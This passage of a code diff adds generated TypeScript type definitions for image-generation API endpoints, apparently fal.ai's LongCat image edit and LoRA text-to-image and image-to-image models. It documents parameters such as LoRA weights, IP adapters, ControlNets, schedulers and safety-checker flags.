/** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to edit. + * @example https://storage.googleapis.com/falserverless/example_inputs/longcat_image/edit_input.png + * @type string + */ + image_url: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageAad14Ed7 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiLongcatImageEdit = { + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @example [{"height":768,"content_type":"image/png","width":1024,"url":"https://storage.googleapis.com/falserverless/example_outputs/longcat_image/edit.png"}] + * @type array + */ + images: ImageAad14Ed7[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize87F59103 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type Embedding87572350 = { + /** + * @description URL or the path to the embedding weights. + * @type string + */ + path: string + /** + * @description + * The tokens to map the embedding weights to. Use these tokens in your + * prompts. When omitted, tokens are generated as , , ... to + * match the number of vectors in the embedding file. + * + */ + tokens?: string[] | null +} + +export type LoraWeight40Fdc945 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type IPAdapterC9Dcba23 = { + /** + * @description Subfolder in the model directory where the IP adapter weights are stored. + */ + model_subfolder?: string | null + /** + * @description Name of the weight file. + */ + weight_name?: string | null + /** + * @description + * The scale of the IP adapter weight. This is used to scale the IP adapter weight + * before merging it with the base model. + * + * @minimum 0 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the IP adapter weights. + * @type string + */ + path: string + /** + * @description + * The value to set the image projection shortcut to. For FaceID plus V1 models, + * this should be set to False. For FaceID plus V2 models, this should be set to True. + * Default is True. + * + * @default true + * @type boolean | undefined + */ + image_projection_shortcut?: boolean + /** + * @description The factor to apply to the unconditional noising of the IP adapter. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + unconditional_noising_factor?: number + /** + * @description URL or the path to the InsightFace model weights. + */ + insight_face_model_path?: string | null + /** + * @description + * The scale of the IP adapter weight. This is used to scale the IP adapter weight + * before merging it with the base model. + * + */ + scale_json?: object | null + /** + * @description + * The mask to use for the IP adapter. When using a mask, the ip-adapter image size and the mask size must be the same + * + */ + ip_adapter_mask_url?: string | null + /** + * @description URL of the image to be used as the IP adapter. + */ + ip_adapter_image_url: string | string[] +} + +export const sigmasInputMethodEnum = { + default: 'default', + array: 'array', +} as const + +export type SigmasInputMethodEnumKey = + (typeof sigmasInputMethodEnum)[keyof typeof sigmasInputMethodEnum] + +export type SigmasInput = { + /** + * @description + * Sigmas schedule to be used if 'custom' method is selected. + * + * @default [] + * @type array | undefined + */ + array?: number[] + /** + * @description + * The method to use for the sigmas. If set to 'custom', the sigmas will be set based + * on the provided sigmas schedule in the `array` field. + * Defaults to 'default' which means the scheduler will use the sigmas of the scheduler. + * + * @default 'default' + * @type string | undefined + */ + method?: SigmasInputMethodEnumKey +} + +export const timestepsInputMethodEnum = { + default: 'default', + array: 'array', +} as const + +export type TimestepsInputMethodEnumKey = + (typeof timestepsInputMethodEnum)[keyof typeof timestepsInputMethodEnum] + +export type TimestepsInput = { + /** + * @description + * Timesteps schedule to be used if 'custom' method is selected. + * + * @default [] + * @type array | undefined + */ + array?: number[] + /** + * @description + * The method to use for the timesteps. If set to 'array', the timesteps will be set based + * on the provided timesteps schedule in the `array` field. + * Defaults to 'default' which means the scheduler will use the `num_inference_steps` parameter. + * + * @default 'default' + * @type string | undefined + */ + method?: TimestepsInputMethodEnumKey +} + +export type ControlNetE430Dd81 = { + /** + * @description + * The percentage of the image to end applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_percentage?: number + /** + * @description URL of the image to be used as the control net. + * @type string + */ + image_url: string + /** + * @description URL or the path to the control net weights. + * @type string + */ + path: string + /** + * @description + * The mask to use for the controlnet. When using a mask, the control image size and the mask size must be the same and divisible by 32. + * + */ + mask_url?: string | null + /** + * @description optional URL to the controlnet config.json file. + */ + config_url?: string | null + /** + * @description + * The percentage of the image to start applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + start_percentage?: number + /** + * @description + * The index of the IP adapter to be applied to the controlnet. This is only needed for InstantID ControlNets. + * + */ + ip_adapter_index?: number | null + /** + * @description + * The scale of the control net weight. This is used to scale the control net weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + conditioning_scale?: number + /** + * @description The optional variant if a Hugging Face repo key is used. + */ + variant?: string | null +} + +export const inputFalAiLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLoraImageSizeKey = + (typeof inputFalAiLoraImageSize)[keyof typeof inputFalAiLoraImageSize] + +export const inputFalAiLoraPredictionTypeEnum = { + v_prediction: 'v_prediction', + epsilon: 'epsilon', +} as const + +export type InputFalAiLoraPredictionTypeEnumKey = + (typeof inputFalAiLoraPredictionTypeEnum)[keyof typeof inputFalAiLoraPredictionTypeEnum] + +export const inputFalAiLoraScheduler = { + 'DPM++ 2M': 'DPM++ 2M', + 'DPM++ 2M Karras': 'DPM++ 2M Karras', + 'DPM++ 2M SDE': 'DPM++ 2M SDE', + 'DPM++ 2M SDE Karras': 'DPM++ 2M SDE Karras', + Euler: 'Euler', + 'Euler A': 'Euler A', + 'Euler (trailing timesteps)': 'Euler (trailing timesteps)', + LCM: 'LCM', + 'LCM (trailing timesteps)': 'LCM (trailing timesteps)', + DDIM: 'DDIM', + TCD: 'TCD', +} as const + +export type InputFalAiLoraSchedulerKey = + (typeof inputFalAiLoraScheduler)[keyof typeof inputFalAiLoraScheduler] + +export const inputFalAiLoraImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLoraImageFormatEnumKey = + (typeof inputFalAiLoraImageFormatEnum)[keyof typeof inputFalAiLoraImageFormatEnum] + +export type InputFalAiLora = { + /** + * @description + * Increasing the amount of steps tells Stable Diffusion that it should take more steps + * to generate your final result which can increase the amount of detail in your image. + * + * @minimum 1 + * @maximum 150 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, painting, illustration, worst quality, low quality, normal quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The size of the generated image. You can choose between some presets or custom height and width + * that **must be multiples of 8**. + * + * @default square_hd + */ + image_size?: ImageSize87F59103 | InputFalAiLoraImageSizeKey | null + /** + * @description Subfolder containing the image encoder weights in image_encoder_path. + */ + image_encoder_subfolder?: string | null + /** + * @description + * The embeddings to use for the image generation. Only a single embedding is supported at the moment. + * The embeddings will be used to map the tokens in the prompt to the embedding weights. + * + * @default [] + * @type array | undefined + */ + embeddings?: Embedding87572350[] + /** + * @description + * Skips part of the image generation process, leading to slightly different results. + * This means the image renders faster, too. + * + * @minimum 0 + * @maximum 2 + * @default 0 + * @type integer | undefined + */ + clip_skip?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Photo of a european medieval 40 year old queen, silver hair, highly detailed face, detailed eyes, head shot, intricate crown, age spots, wrinkles + * @example Photo of a classic red mustang car parked in las vegas strip at night + * @type string + */ + prompt: string + /** + * @description + * The type of prediction to use for the image generation. + * The `epsilon` is the default. + * + * @default 'epsilon' + * @type string | undefined + */ + prediction_type?: InputFalAiLoraPredictionTypeEnumKey + /** + * @description The stride of the tiles to be used for the image generation. + * @minimum 64 + * @maximum 2048 + * @default 2048 + * @type integer | undefined + */ + tile_stride_height?: number + /** + * @description The stride of the tiles to be used for the image generation. + * @minimum 64 + * @maximum 2048 + * @default 2048 + * @type integer | undefined + */ + tile_stride_width?: number + /** + * @description The variant of the model to use for huggingface models, e.g. 'fp16'. + */ + variant?: string | null + /** + * @description + * The weight name of the image encoder model to use for the image generation. + * + * @default pytorch_model.bin + * @example pytorch_model.bin + */ + image_encoder_weight_name?: string | null + /** + * @description The size of the tiles to be used for the image generation. + * @minimum 128 + * @maximum 4096 + * @default 4096 + * @type integer | undefined + */ + tile_width?: number + /** + * @description + * Number of images to generate in one request. Note that the higher the batch size, + * the longer it will take to generate the images. + * + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The size of the tiles to be used for the image generation. + * @minimum 128 + * @maximum 4096 + * @default 4096 + * @type integer | undefined + */ + tile_height?: number + /** + * @description The eta value to be used for the image generation. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + eta?: number + /** + * @description + * The URL of the IC Light model image to use for the image generation. + * + */ + ic_light_image_url?: string | null + /** + * @description Hugging Face ID or HTTPS URL of the image encoder; required when ip_adapter is non-empty. Choose an encoder compatible with the IP-Adapter weights. For h94/IP-Adapter SDXL weights, use h94/IP-Adapter with image_encoder_subfolder='sdxl_models/image_encoder'; for SD1.5 weights, use image_encoder_subfolder='models/image_encoder'. + */ + image_encoder_path?: string | null + /** + * @description URL or HuggingFace ID of the custom U-Net model to use for the image generation. + */ + unet_name?: string | null + /** + * @description If set to true, the safety checker will be enabled. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If set to true, the latents will be saved for debugging. + * @default false + * @type boolean | undefined + */ + debug_latents?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight40Fdc945[] + /** + * @description + * If set to true, the controlnet will be applied to only the conditional predictions. + * + * @default false + * @type boolean | undefined + */ + controlnet_guess_mode?: boolean + /** + * @description IP adapters for image generation. A non-empty list requires image_encoder_path. + * @default [] + * @type array | undefined + */ + ip_adapter?: IPAdapterC9Dcba23[] + /** + * @description + * Optionally override the sigmas to use for the denoising process. Only works with schedulers which support the `sigmas` argument in their `set_sigmas` method. + * Defaults to not overriding, in which case the scheduler automatically sets the sigmas based on the `num_inference_steps` parameter. + * If set to a custom sigma schedule, the `num_inference_steps` parameter will be ignored. Cannot be set if `timesteps` is set. + * + * @default {"array":[],"method":"default"} + * @type object | undefined + */ + sigmas?: SigmasInput + /** + * @description + * If set to true, the prompt weighting syntax will be used. + * Additionally, this will lift the 77 token limit by averaging embeddings. + * + * @default false + * @example true + * @type boolean | undefined + */ + prompt_weighting?: boolean + /** + * @description + * The URL of the IC Light model to use for the image generation. + * + */ + ic_light_model_url?: string | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler / sampler to use for the image denoising process. + */ + scheduler?: InputFalAiLoraSchedulerKey | null + /** + * @description If set to true, the latents will be saved for debugging per pass. + * @default false + * @type boolean | undefined + */ + debug_per_pass_latents?: boolean + /** + * @description + * Optionally override the timesteps to use for the denoising process. Only works with schedulers which support the `timesteps` argument in their `set_timesteps` method. + * Defaults to not overriding, in which case the scheduler automatically sets the timesteps based on the `num_inference_steps` parameter. + * If set to a custom timestep schedule, the `num_inference_steps` parameter will be ignored. Cannot be set if `sigmas` is set. + * + * @default {"array":[],"method":"default"} + * @type object | undefined + */ + timesteps?: TimestepsInput + /** + * @description + * Whether to set the rescale_betas_snr_zero option or not for the sampler + * + * @default false + * @type boolean | undefined + */ + rescale_betas_snr_zero?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @example jpeg + * @type string | undefined + */ + image_format?: InputFalAiLoraImageFormatEnumKey + /** + * @description + * The URL of the IC Light model background image to use for the image generation. + * Make sure to use a background compatible with the model. + * + */ + ic_light_model_background_image_url?: string | null + /** + * @description + * The control nets to use for the image generation. You can use any number of control nets + * and they will be applied to the image at the specified timesteps. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNetE430Dd81[] + /** + * @description URL or HuggingFace ID of the base model to generate the image. + * @example stabilityai/stable-diffusion-xl-base-1.0 + * @example runwayml/stable-diffusion-v1-5 + * @example SG161222/Realistic_Vision_V2.0 + * @type string + */ + model_name: string +} + +export type File81797344 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0E18A385 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The latents saved for debugging per pass. + */ + debug_per_pass_latents: File81797344 | null + /** + * @description The generated image files info. + * @type array + */ + images: Image0E18A385[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The latents saved for debugging. + */ + debug_latents: File81797344 | null +} + +export type EmbeddingB7Cdd593 = { + /** + * @description URL or the path to the embedding weights. + * @type string + */ + path: string + /** + * @description + * The tokens to map the embedding weights to. Use these tokens in your + * prompts. When omitted, tokens are generated as , , ... to + * match the number of vectors in the embedding file. + * + */ + tokens?: string[] | null +} + +export type LoraWeight7Fa3B828 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type IPAdapter8790Eea6 = { + /** + * @description Subfolder in the model directory where the IP adapter weights are stored. + */ + model_subfolder?: string | null + /** + * @description Name of the weight file. + */ + weight_name?: string | null + /** + * @description + * The scale of the IP adapter weight. This is used to scale the IP adapter weight + * before merging it with the base model. + * + * @minimum 0 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the IP adapter weights. + * @type string + */ + path: string + /** + * @description + * The value to set the image projection shortcut to. For FaceID plus V1 models, + * this should be set to False. For FaceID plus V2 models, this should be set to True. + * Default is True. + * + * @default true + * @type boolean | undefined + */ + image_projection_shortcut?: boolean + /** + * @description The factor to apply to the unconditional noising of the IP adapter. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + unconditional_noising_factor?: number + /** + * @description URL or the path to the InsightFace model weights. + */ + insight_face_model_path?: string | null + /** + * @description + * The scale of the IP adapter weight. This is used to scale the IP adapter weight + * before merging it with the base model. + * + */ + scale_json?: object | null + /** + * @description + * The mask to use for the IP adapter. When using a mask, the ip-adapter image size and the mask size must be the same + * + */ + ip_adapter_mask_url?: string | null + /** + * @description URL of the image to be used as the IP adapter. + */ + ip_adapter_image_url: string | string[] +} + +export type ControlNetAbfcc54C = { + /** + * @description + * The percentage of the image to end applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_percentage?: number + /** + * @description URL of the image to be used as the control net. + * @type string + */ + image_url: string + /** + * @description URL or the path to the control net weights. + * @type string + */ + path: string + /** + * @description + * The mask to use for the controlnet. When using a mask, the control image size and the mask size must be the same and divisible by 32. + * + */ + mask_url?: string | null + /** + * @description optional URL to the controlnet config.json file. + */ + config_url?: string | null + /** + * @description + * The percentage of the image to start applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + start_percentage?: number + /** + * @description + * The index of the IP adapter to be applied to the controlnet. This is only needed for InstantID ControlNets. + * + */ + ip_adapter_index?: number | null + /** + * @description + * The scale of the control net weight. This is used to scale the control net weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + conditioning_scale?: number + /** + * @description The optional variant if a Hugging Face repo key is used. + */ + variant?: string | null +} + +export const inputFalAiLoraImageToImagePredictionTypeEnum = { + v_prediction: 'v_prediction', + epsilon: 'epsilon', +} as const + +export type InputFalAiLoraImageToImagePredictionTypeEnumKey = + (typeof inputFalAiLoraImageToImagePredictionTypeEnum)[keyof typeof inputFalAiLoraImageToImagePredictionTypeEnum] + +export const inputFalAiLoraImageToImageScheduler = { + 'DPM++ 2M': 'DPM++ 2M', + 'DPM++ 2M Karras': 'DPM++ 2M Karras', + 'DPM++ 2M SDE': 'DPM++ 2M SDE', + 'DPM++ 2M SDE Karras': 'DPM++ 2M SDE Karras', + Euler: 'Euler', + 'Euler A': 'Euler A', + 'Euler (trailing timesteps)': 'Euler (trailing timesteps)', + LCM: 'LCM', + 'LCM (trailing timesteps)': 'LCM (trailing timesteps)', + DDIM: 'DDIM', + TCD: 'TCD', +} as const + +export type InputFalAiLoraImageToImageSchedulerKey = + (typeof inputFalAiLoraImageToImageScheduler)[keyof typeof inputFalAiLoraImageToImageScheduler] + +export const inputFalAiLoraImageToImageImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiLoraImageToImageImageFormatEnumKey = + (typeof inputFalAiLoraImageToImageImageFormatEnum)[keyof typeof inputFalAiLoraImageToImageImageFormatEnum] + +export type InputFalAiLoraImageToImage = { + /** + * @description + * Increasing the amount of steps tells Stable Diffusion that it should take more steps + * to generate your final result which can increase the amount of detail in your image. + * + * @minimum 1 + * @maximum 150 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, painting, illustration, worst quality, low quality, normal quality + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Subfolder containing the image encoder weights in image_encoder_path. + */ + image_encoder_subfolder?: string | null + /** + * @description + * The embeddings to use for the image generation. Only a single embedding is supported at the moment. + * The embeddings will be used to map the tokens in the prompt to the embedding weights. + * + * @default [] + * @type array | undefined + */ + embeddings?: EmbeddingB7Cdd593[] + /** + * @description + * Skips part of the image generation process, leading to slightly different results. + * This means the image renders faster, too. + * + * @minimum 0 + * @maximum 2 + * @default 0 + * @type integer | undefined + */ + clip_skip?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Photo of a european medieval 40 year old queen, silver hair, highly detailed face, detailed eyes, head shot, intricate crown, age spots, wrinkles + * @example Photo of a classic red mustang car parked in las vegas strip at night + * @type string + */ + prompt: string + /** + * @description + * The type of prediction to use for the image generation. + * The `epsilon` is the default. + * + * @default 'epsilon' + * @type string | undefined + */ + prediction_type?: InputFalAiLoraImageToImagePredictionTypeEnumKey + /** + * @description The stride of the tiles to be used for the image generation. + * @minimum 64 + * @maximum 2048 + * @default 2048 + * @type integer | undefined + */ + tile_stride_height?: number + /** + * @description The stride of the tiles to be used for the image generation. + * @minimum 64 + * @maximum 2048 + * @default 2048 + * @type integer | undefined + */ + tile_stride_width?: number + /** + * @description The variant of the model to use for huggingface models, e.g. 'fp16'. + */ + variant?: string | null + /** + * @description + * The weight name of the image encoder model to use for the image generation. + * + * @default pytorch_model.bin + * @example pytorch_model.bin + */ + image_encoder_weight_name?: string | null + /** + * @description The size of the tiles to be used for the image generation. + * @minimum 128 + * @maximum 4096 + * @default 4096 + * @type integer | undefined + */ + tile_width?: number + /** + * @description + * Number of images to generate in one request. Note that the higher the batch size, + * the longer it will take to generate the images. + * + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The size of the tiles to be used for the image generation. + * @minimum 128 + * @maximum 4096 + * @default 4096 + * @type integer | undefined + */ + tile_height?: number + /** + * @description The eta value to be used for the image generation. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + eta?: number + /** + * @description + * The URL of the IC Light model image to use for the image generation. + * + */ + ic_light_image_url?: string | null + /** + * @description Hugging Face ID or HTTPS URL of the image encoder; required when ip_adapter is non-empty. Choose an encoder compatible with the IP-Adapter weights. For h94/IP-Adapter SDXL weights, use h94/IP-Adapter with image_encoder_subfolder='sdxl_models/image_encoder'; for SD1.5 weights, use image_encoder_subfolder='models/image_encoder'. + */ + image_encoder_path?: string | null + /** + * @description The amount of noise to add to noise image for image. Only used if the image_url is provided. 1.0 is complete noise and values near 0 are minimal noise. + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + noise_strength?: number + /** + * @description URL or HuggingFace ID of the custom U-Net model to use for the image generation. + */ + unet_name?: string | null + /** + * @description If set to true, the safety checker will be enabled. + * @default false + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If set to true, the latents will be saved for debugging. + * @default false + * @type boolean | undefined + */ + debug_latents?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight7Fa3B828[] + /** + * @description + * If set to true, the controlnet will be applied to only the conditional predictions. + * + * @default false + * @type boolean | undefined + */ + controlnet_guess_mode?: boolean + /** + * @description IP adapters for image generation. A non-empty list requires image_encoder_path. + * @default [] + * @type array | undefined + */ + ip_adapter?: IPAdapter8790Eea6[] + /** + * @description + * Optionally override the sigmas to use for the denoising process. Only works with schedulers which support the `sigmas` argument in their `set_sigmas` method. + * Defaults to not overriding, in which case the scheduler automatically sets the sigmas based on the `num_inference_steps` parameter. + * If set to a custom sigma schedule, the `num_inference_steps` parameter will be ignored. Cannot be set if `timesteps` is set. + * + * @default {"array":[],"method":"default"} + * @type object | undefined + */ + sigmas?: SigmasInput + /** + * @description + * If set to true, the prompt weighting syntax will be used. + * Additionally, this will lift the 77 token limit by averaging embeddings. + * + * @default false + * @example true + * @type boolean | undefined + */ + prompt_weighting?: boolean + /** + * @description + * The URL of the IC Light model to use for the image generation. + * + */ + ic_light_model_url?: string | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler / sampler to use for the image denoising process. + */ + scheduler?: InputFalAiLoraImageToImageSchedulerKey | null + /** + * @description If set to true, the latents will be saved for debugging per pass. + * @default false + * @type boolean | undefined + */ + debug_per_pass_latents?: boolean + /** + * @description + * Optionally override the timesteps to use for the denoising process. Only works with schedulers which support the `timesteps` argument in their `set_timesteps` method. + * Defaults to not overriding, in which case the scheduler automatically sets the timesteps based on the `num_inference_steps` parameter. + * If set to a custom timestep schedule, the `num_inference_steps` parameter will be ignored. Cannot be set if `sigmas` is set. + * + * @default {"array":[],"method":"default"} + * @type object | undefined + */ + timesteps?: TimestepsInput + /** + * @description + * Whether to set the rescale_betas_snr_zero option or not for the sampler + * + * @default false + * @type boolean | undefined + */ + rescale_betas_snr_zero?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @example jpeg + * @type string | undefined + */ + image_format?: InputFalAiLoraImageToImageImageFormatEnumKey + /** + * @description + * The URL of the IC Light model background image to use for the image generation. + * Make sure to use a background compatible with the model. + * + */ + ic_light_model_background_image_url?: string | null + /** + * @description + * The control nets to use for the image generation. You can use any number of control nets + * and they will be applied to the image at the specified timesteps. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNetAbfcc54C[] + /** + * @description URL of image to use for image to image/inpainting. + */ + image_url?: string | null + /** + * @description URL or HuggingFace ID of the base model to generate the image. + * @example stabilityai/stable-diffusion-xl-base-1.0 + * @example runwayml/stable-diffusion-v1-5 + * @example SG161222/Realistic_Vision_V2.0 + * @type string + */ + model_name: string +} + +export type File9A935D8E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageF8D4C6Cd = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiLoraImageToImage = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The latents saved for debugging per pass. + */ + debug_per_pass_latents: File9A935D8E | null + /** + * @description The generated image files info. + * @type array + */ + images: ImageF8D4C6Cd[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The latents saved for debugging. + */ + debug_latents: File9A935D8E | null +} + +export type Embedding05933389 = { + /** + * @description URL or the path to the embedding weights. + * @type string + */ + path: string + /** + * @description + * The tokens to map the embedding weights to. Use these tokens in your + * prompts. When omitted, tokens are generated as , , ... to + * match the number of vectors in the embedding file. + * + */ + tokens?: string[] | null +} + +export type LoraWeight8Bdaad14 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type IPAdapterAe6A1B3A = { + /** + * @description Subfolder in the model directory where the IP adapter weights are stored. + */ + model_subfolder?: string | null + /** + * @description Name of the weight file. + */ + weight_name?: string | null + /** + * @description + * The scale of the IP adapter weight. This is used to scale the IP adapter weight + * before merging it with the base model. + * + * @minimum 0 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the IP adapter weights. + * @type string + */ + path: string + /** + * @description + * The value to set the image projection shortcut to. For FaceID plus V1 models, + * this should be set to False. For FaceID plus V2 models, this should be set to True. + * Default is True. + * + * @default true + * @type boolean | undefined + */ + image_projection_shortcut?: boolean + /** + * @description The factor to apply to the unconditional noising of the IP adapter. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + unconditional_noising_factor?: number + /** + * @description URL or the path to the InsightFace model weights. + */ + insight_face_model_path?: string | null + /** + * @description + * The scale of the IP adapter weight. This is used to scale the IP adapter weight + * before merging it with the base model. + * + */ + scale_json?: object | null + /** + * @description + * The mask to use for the IP adapter. When using a mask, the ip-adapter image size and the mask size must be the same + * + */ + ip_adapter_mask_url?: string | null + /** + * @description URL of the image to be used as the IP adapter. + */ + ip_adapter_image_url: string | string[] +} + +export type ControlNet0Bb0Ccd8 = { + /** + * @description + * The percentage of the image to end applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_percentage?: number + /** + * @description URL of the image to be used as the control net. + * @type string + */ + image_url: string + /** + * @description URL or the path to the control net weights. + * @type string + */ + path: string + /** + * @description + * The mask to use for the controlnet. When using a mask, the control image size and the mask size must be the same and divisible by 32. + * + */ + mask_url?: string | null + /** + * @description optional URL to the controlnet config.json file. + */ + config_url?: string | null + /** + * @description + * The percentage of the image to start applying the controlnet in terms of the total timesteps. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + start_percentage?: number + /** + * @description + * The index of the IP adapter to be applied to the controlnet. This is only needed for InstantID ControlNets. + * + */ + ip_adapter_index?: number | null + /** + * @description + * The scale of the control net weight. This is used to scale the control net weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 2 + * 